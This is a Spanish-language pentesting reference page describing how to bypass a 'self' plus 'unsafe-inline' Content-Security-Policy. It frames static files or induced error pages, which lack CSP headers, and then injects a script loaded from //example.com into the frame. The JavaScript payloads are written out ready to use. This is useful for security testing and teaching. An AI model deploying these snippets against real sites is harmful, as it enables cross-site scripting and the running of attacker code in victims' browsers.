{{#include ../../banners/hacktricks-training.md}} Una configuración como: ``` Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` Prohíbe el uso de cualquier función que ejecute código transmitido como una cadena. Por ejemplo: `eval, setTimeout, setInterval` serán bloqueados debido a la configuración `unsafe-eval`. Cualquier contenido de fuentes externas también está bloqueado, incluyendo imágenes, CSS, WebSockets y, especialmente, JS. ### A través de Texto e Imágenes Se observa que los navegadores modernos convierten imágenes y textos en HTML para mejorar su visualización (por ejemplo, configurando fondos, centrando, etc.). En consecuencia, si un archivo de imagen o texto, como `favicon.ico` o `robots.txt`, se abre a través de un `iframe`, se renderiza como HTML. Notablemente, estas páginas a menudo carecen de encabezados CSP y pueden no incluir X-Frame-Options, lo que permite la ejecución de JavaScript arbitrario desde ellas: ```javascript frame = document.createElement("iframe") frame.src = "/css/bootstrap.min.css" document.body.appendChild(frame) script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` ### A través de Errores De manera similar, las respuestas de error, como archivos de texto o imágenes, generalmente vienen sin encabezados CSP y pueden omitir X-Frame-Options. Se pueden inducir errores para que se carguen dentro de un iframe, lo que permite las siguientes acciones: ```javascript // Inducing an nginx error frame = document.createElement("iframe") frame.src = "/%2e%2e%2f" document.body.appendChild(frame) // Triggering an error with a long URL frame = document.createElement("iframe") frame.src = "/" + "A".repeat(20000) document.body.appendChild(frame) // Generating an error via extensive cookies for (var i = 0; i < 5; i++) { document.cookie = i + "=" + "a".repeat(4000) } frame = document.createElement("iframe") frame.src = "/" document.body.appendChild(frame) // Removal of cookies is crucial post-execution for (var i = 0; i < 5; i++) { document.cookie = i + "=" } ``` Después de activar cualquiera de los escenarios mencionados, la ejecución de JavaScript dentro del iframe se puede lograr de la siguiente manera: ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` ## Referencias - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) {{#include ../../banners/hacktricks-training.md}}